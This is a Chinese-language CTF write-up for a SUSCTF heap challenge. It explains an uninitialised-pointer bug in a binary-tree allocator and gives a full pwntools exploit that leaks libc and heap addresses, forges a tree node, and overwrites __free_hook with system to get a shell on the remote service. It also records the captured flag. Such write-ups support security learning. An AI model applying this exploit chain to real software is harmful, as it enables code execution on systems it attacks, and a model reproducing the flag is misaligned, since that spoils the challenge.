早晨才看到比赛,9点就结束。结束后作了一道题。
堆有漏洞大概有3个:UAF,写溢出,未初始化指针。其中未初始化指针是最难找了,一般想不到。不过也有个办法如果找不着前边两个就找后边这个。
题目有add,show,free三个函数。其中add有两个未初始化指针:
__int64 __fastcall m1add(__int64 a1, __int64 a2, unsigned int a3)
{
__int64 v5; // [rsp+10h] [rbp-10h]
v5 = a2;
if ( a2 )
{
if ( (signed int)a3 >= *(_DWORD *)a2 )
{
if ( (signed int)a3 > *(_DWORD *)a2 )
*(_QWORD *)(a2 + 24) = m1add(a2, *(_QWORD *)(a2 + 24), a3);
}
else
{
*(_QWORD *)(a2 + 16) = m1add(a2, *(_QWORD *)(a2 + 16), a3);
}
}
else
{
v5 = operator new(0x20uLL); // 管理块: int:size; *msg; *left; *right 左右指针未初始化
*(_DWORD *)v5 = a3;
*(_QWORD *)(v5 + 8) = operator new[]((unsigned __int8)a3);// 4字节无符号整数仅建1字节无符号数块
std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
read(0, *(void **)(v5 + 8), (unsigned __int8)a3);// 有残留,可以得到libc
}
return v5;
}
管理块块结构:
struct{int size;char *msg;char *left;char *right;}
这里在free时有个小坑,如果释放的节点同时有左右子树,则释放右子树的最左叶子。这个看了半天,结果完全没用,人家想释放谁释放谁,就这么定的。
基本思路:
- 因为在读入数据的时候用的read,所以有残留。可以很容易得到堆地址和libc地址;
- 申请一个0x41的块释放掉,找到堆里的偏移。将来用这个管理块作个fake链入树中;
- 申请0x31块(管理块同大),左树位置写fake指针(刚释放块size位置为0,比存在的小)释放;
- 先用掉第1个0x31管理块,再申请第2个块(left->fake)这时fake被链入树中;
- 释放fake块得到loop然后就是free_hook写system。
完整exp:
from pwn import *
'''
patchelf --set-interpreter /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/ld-2.27.so pwn
patchelf --add-needed /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so pwn
patchelf --add-needed /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libm-2.27.so pwn
'''
elf = ELF('./pwn')
context.arch = 'amd64'
def connect(local=1):
global p
if local == 1:
p = process('./pwn')
else:
p = remote('124.71.147.225', 9999)
libc_elf = ELF('/home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so')
one = [0x4f365, 0x4f3c2, 0x10a45c]
libc_start_main_ret = 0x21b97
context(arch='amd64')
menu = b"cmd> "
def add(size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"data: ", str(size).encode())
p.sendafter(b"content: ", msg)
def free(size):
p.sendlineafter(menu, b'2')
p.sendlineafter(b'data: ', str(size).encode())
def show(size):
p.sendlineafter(menu, b'3')
p.sendlineafter(b'data: ', str(size).encode())
def pwn():
#libc
[add(0x80+i, b'A') for i in range(8)]
[free(0x80+7-i) for i in range(8)]
add(0x70, b'A'*8)
show(0x70)
p.recvuntil(b'A'*8)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) -0x80 - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget= libc_base + one[0]
print('libc:', hex(libc_base))
free(0x70)
#heap
add(0x20, b'\xb0')
show(0x20)
p.recvuntil(b'content: ')
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x120b0
print('heap:', hex(heap_base))
free(0x20)
#作个0x41将来double free,现在先释放一次
add(0x30, b'X'*0x30)
free(0x30)
#确定上步0x41块的管理块地址
t_chunk = heap_base + 0x11e70 #ec0->ef0:0x41
print('fake:',hex(t_chunk))
#将管理块同大的块写入fake指针,残留将留在管理块,释放两个0x31块,第2个有残留
add(0x20, flat(0,0,t_chunk,0))
free(0x20)
#用掉第1个0x31块
add(0x90, b'/bin/sh\x00')
#第2个0x31,残留fake作为子树链入
add(0x10, b'B') #left->fake
#释放fake得到0x41环
free(0)
#
add(0x30, p64(libc_elf.sym['__free_hook']))
add(0x31, b'/bin/sh\x00')
add(0x32, p64(libc_elf.sym['system']))
free(0x90)
p.sendline(b'cat /flag')
p.interactive()
connect(0)
pwn()
#SUSCTF{We_4re_pl4ying_unDer_th3_tRee}